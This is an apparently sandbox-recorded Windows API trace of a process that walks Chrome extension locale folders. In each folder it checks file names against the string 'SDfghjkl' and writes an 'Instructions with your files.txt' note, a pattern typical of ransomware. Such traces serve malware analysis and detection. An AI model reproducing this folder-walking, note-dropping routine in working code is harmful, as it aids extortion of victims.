[0129.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.032] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\.") returned 147
[0129.032] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.032] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\..") returned 148
[0129.032] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.032] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 159
[0129.032] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.032] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.032] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\Instructions with your files.txt") returned 178
[0129.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.032] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.033] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.033] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.033] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.034] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.034] CloseHandle (hObject=0x134) returned 1
[0129.034] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.034] GetProcessHeap () returned 0x810000
[0129.034] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.034] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0129.034] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned 141
[0129.034] GetProcessHeap () returned 0x810000
[0129.034] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.034] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*") returned 143
[0129.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.035] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\.") returned 143
[0129.035] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.035] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\..") returned 144
[0129.035] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.035] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 155
[0129.035] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.035] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.035] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\Instructions with your files.txt") returned 174
[0129.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.036] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.036] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.037] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.037] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.037] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.037] CloseHandle (hObject=0x134) returned 1
[0129.037] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.037] GetProcessHeap () returned 0x810000
[0129.037] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.037] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0129.037] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned 141
[0129.037] GetProcessHeap () returned 0x810000
[0129.037] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.037] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*") returned 143
[0129.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.037] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\.") returned 143
[0129.037] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.038] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\..") returned 144
[0129.038] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.038] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 155
[0129.038] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.038] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.038] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\Instructions with your files.txt") returned 174
[0129.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.038] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.039] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.039] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.039] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.039] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.040] CloseHandle (hObject=0x134) returned 1
[0129.040] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.040] GetProcessHeap () returned 0x810000
[0129.040] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.040] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0129.040] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned 142
[0129.040] GetProcessHeap () returned 0x810000
[0129.040] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.040] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*") returned 144
[0129.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.041] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\.") returned 144
[0129.041] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.041] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\..") returned 145
[0129.041] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.041] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 156
[0129.041] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.041] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.041] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\Instructions with your files.txt") returned 175
[0129.041] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.041] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
